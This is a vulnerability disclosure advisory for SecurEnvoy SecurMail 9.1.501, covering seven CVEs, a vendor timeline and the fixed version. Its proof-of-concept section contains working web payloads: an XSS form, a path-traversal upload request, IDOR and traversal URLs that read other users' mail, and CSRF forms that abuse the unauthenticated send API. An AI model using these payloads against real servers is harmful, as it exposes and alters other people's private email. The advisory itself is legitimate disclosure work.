SEC Consult Vulnerability Lab Security Advisory < 20180312-0 >
=======================================================================
              title: Multiple Critical Vulnerabilities
            product: SecurEnvoy SecurMail
 vulnerable version: 9.1.501
      fixed version: 9.2.501 or hotfix patch "1_012018"
         CVE number: CVE-2018-7701, CVE-2018-7702, CVE-2018-7703, CVE-2018-7704,
                     CVE-2018-7705, CVE-2018-7706, CVE-2018-7707
             impact: Critical
           homepage: https://www.securenvoy.com/
              found: 2017-11
                 by: W. Ettlinger (Office Vienna)
                     SEC Consult Vulnerability Lab

                     An integrated part of SEC Consult
                     Europe | Asia | North America

                     https://www.sec-consult.com

=======================================================================

Vendor description:
-------------------
"Sending and receiving encrypted emails is not an easy or simple experience.
Businesses rely on email with an increasing amount of sensitive data sent across
their networks. A revolutionary approach that doesn't suffer from the overheads
of deployment and encryption management; just rock-solid security to give you
100% confidence in your business communications."

URL: https://www.securenvoy.com/products/securmail/key-features.shtm


Business recommendation:
------------------------
During a brief crash test of the SecurEnvoy SecurMail application several severe
vulnerabilities have been identified that break the core security promises of
the product.

These vulnerabilities open the possibility for several different attack
scenarios that allow an attacker to read other users' encrypted e-mails and
overwrite or delete e-mails stored in other users' inboxes.

As we have identified several critical vulnerabilities within a very short time
frame we expect numerous other vulnerabilities to be present.

As other SecureEnvoy products (besides the analyzed SecurMail) appear
to be highly integrated (all products are installed with a single setup
file) we suspect other components to also suffer from severe security deficits.

We recommend not to use SecurEnvoy products (especially SecurMail) in a
production environment until:
* a comprehensive security audit has been performed and
* state of the art security mechanisms have been adopted.


Vulnerability overview/description:
-----------------------------------
1) Cross Site Scripting (CVE-2018-7703, CVE-2018-7707)
SEC Consult did not find any functionality that encodes user input when creating
HTML pages. Therefore persistent and reflected cross site scripting attacks are
possible throughout the application.

Some pages fail to properly decode URL encoded parameters. Because of this, cross
site scripting cannot be exploited on these pages in most browsers.


2) Path Traversal (CVE-2018-7705, CVE-2018-7706)
SEC Consult did not find any path traversal checks throughout the application.
Since the application uses encrypted files as the primary method of data
storage, this vulnerability can be exploited at several points.

Using this vulnerability, a legitimate recipient can read mails sent to other
recipients in plain text!


3) Insecure Direct Object Reference (CVE-2018-7704)
Authorization checks are only partially implemented. This allows a legitimate
recipient to read mails sent to other users in plain text.


4) Missing Authentication and Authorization (CVE-2018-7702)
In order to send encrypted e-mails a client does not need to authenticate on the
SecurEnvoy server. Therefore anyone with network access to the server can
arbitrarily send e-mails that appear to come from an arbitrary sender address.

Moreover, an attacker with network access to the server can re-send previous
communication to arbitrary recipients. This allows him/her to extract all
e-mails stored on the server. An attacker could also modify arbitrary messages
stored on the server.


5) Cross Site Request Forgery (CVE-2018-7701)
SEC Consult did not find any protection against cross site request forgery. An
attacker could use this vulnerability to delete a victim's e-mail or to
impersonate the victim and reply to his/her e-mails.


Since these vulnerabilities were found during a very short time frame, SEC
Consult believes that the product may contain a large number of other security
vulnerabilities. As already several core security promises have been broken
during this short crash test, no further tests were conducted.


Proof of concept:
-----------------
1) Cross Site Scripting
a) The following HTML fragments demonstrates reflected cross site scripting
   (CVE-2018-7703):

--- snip ---
<form action="http://<host>/secmail/getmessage.exe" method="POST"
    enctype="text/plain">
  <input type="hidden" name="mailboxid"

value=""><script>alert('xss')</script>" />
  <input type="submit" value="Submit request" />
</form>
--- snip ---

b) E-mails that are sent using the HTML format can contain any <script> tags
   (CVE-2018-7707). These are executed once the victim opens the message in the
   web interface.


2) Path Traversal
a) The following request demonstrates how the message body of the e-mail with id
   107 can be overwritten while uploading the body for message 103. The message
   IDs can easily be guessed since they are assigned sequentially
   (CVE-2018-7705).

--- snip---
POST /secupload2/upload.aspx HTTP/1.1
Host: <host>
Content-Type: multipart/form-data; boundary=--------822119548
Content-Length: 309

----------822119548
Content-Disposition: form-data; name="FileName"

x
----------822119548
Content-Disposition: form-data; name="MessageID"

103
----------822119548
Content-Disposition: form-data; filename="../107/BODY"
Content-Type: application/octet-stream

some message
----------822119548--
--- snip ---

b) The following link demonstrates how the message body of the e-mail with id
   107 can be retrieved while only having access to the mail with id 103
   (CVE-2018-7706):

http://<host>/secmail/getmessage.exe?mailboxid=<mailbox-id>&action=attachment&option1=103&option2=../107/BODY


3) Insecure Direct Object Reference (CVE-2018-7704)
The functionality that allows a recipient to read an e-mail checks whether the
user is actually authorized to read the requested e-mail. However, by using the
functionality that allows a user to reply to an e-mail, an attacker can
manipulate the id that is sent as a URL parameter to read arbitrary e-mails.
The following link demonstrates the retrieval of the message with id 103. The
message id can easily be guessed since they are assigned sequentially.

http://<host>/secmail/getmessage.exe?mailboxid=<mailboxid>&action=reply&option1=103


4) Missing Authorization (CVE-2018-7702)
In order to send an e-mail to a recipient the following requests have to be
made:
 1. Execute a GETINFO request in order to request a message id.
 2. Upload the message body and the attachments.
 3. Execute a STORE request to send the message to the recipients.

Neither of these requests require any authentication. Therefore, also no
authorization is made. Attack scenarios include:
a) Extract any message by executing step #3 while specifying an own e-mail
   address as recipient and the message id to extract.
b) Overwrite attachments or message bodies of previously sent e-mails by
   executing step #2 to upload arbitrary content.


5) Cross-Site Request Forgery
SEC Consult did not find any CSRF protection within the web interface. Moreover,
CSRF attacks are possible against the API used to send e-mails. Since this API
does not require authentication, being authenticated on the server is not a
precondition for a successful attack. Instead, the attack exploits the victim's
network location.

a) The following link demonstrates how e-mails can be deleted using a CSRF
   attack (CVE-2018-7701):

http://<host>/secmail/getmessage.exe?mailboxid=<mailboxid>&action=delete&option1=103

b) The following HTML fragment demonstrates how the API can be exploited to send
   an e-mail with an arbitrary message id to an arbitrary recipient (also
   CVE-2018-7702):

<form action="http://<host>/secserver/securectrl.exe" method="POST"
    enctype="text/plain">
 <input type="hidden"
 name="FLAG:STORE

VERSION:1.0

RECIPIENT_MOBILE_LIST:SMTP" value="bob@local:MOBILE=00000

SENDER:me@local

RECORDED_DELIVERY:

SUBJECTB64:AAAA

MESSAGEID:108

SENDERMOBILE:000000

REPLY:False" />
 <input type="submit" value="Submit request" />
</form>


Vulnerable / tested versions:
-----------------------------
The version 9.1.501 was found to be vulnerable. This was the latest version at
the time of discovery.


Vendor contact timeline:
------------------------
2017-11-20: Contacting vendor through info <at> securenvoy <dot> com
2017-11-21: SecureEnvoy requests to upload advisory through their SecurMail
            instance
2017-11-22: Uploading advisory to SecurEnvoy's SecurMail instance
2017-12-13: SecurEnvoy: engineering team is investigating issues;
            product will be re-engineered; asked for deadline extension until
            revised software is available
2017-11-15: Postponing advisory release to 2017-02-21
2018-01-22: SecurEnvoy sends release notes document for the security patch
            "1_012018"; Fixed vulnerabilities: Path traversal, Insecure Direct
            Object Reference, XSS, CSRF; SecurEnvoy instructs customers to
            configure requiring client certificates for the "secserver" endpoint
2018-02-22: Asking whether the security patch has been released
2018-03-01: Asking for status update
2018-03-01: SecurEnvoy: patch has been released
2018-03-12: Releasing security advisory


Solution:
---------
Customers of SecurEnvoy should immediately apply the security patch "1_012018"
or update to version 9.2.501 of the software.


Workaround:
-----------
None


Advisory URL:
-------------
https://www.sec-consult.com/en/vulnerability-lab/advisories/index.html


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

SEC Consult Vulnerability Lab

SEC Consult
Europe | Asia | North America

About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It
ensures the continued knowledge gain of SEC Consult in the field of network
and application security to stay ahead of the attacker. The SEC Consult
Vulnerability Lab supports high-quality penetration testing and the evaluation
of new offensive and defensive technologies for our customers. Hence our
customers obtain the most current information about vulnerabilities and valid
recommendation about the risk profile of new technologies.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Interested to work with the experts of SEC Consult?
Send us your application https://www.sec-consult.com/en/career/index.html

Interested in improving your cyber security with the experts of SEC Consult?
Contact our local offices https://www.sec-consult.com/en/contact/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Mail: research at sec-consult dot com
Web: https://www.sec-consult.com
Blog: http://blog.sec-consult.com
Twitter: https://twitter.com/sec_consult

EOF W. Ettlinger / @2018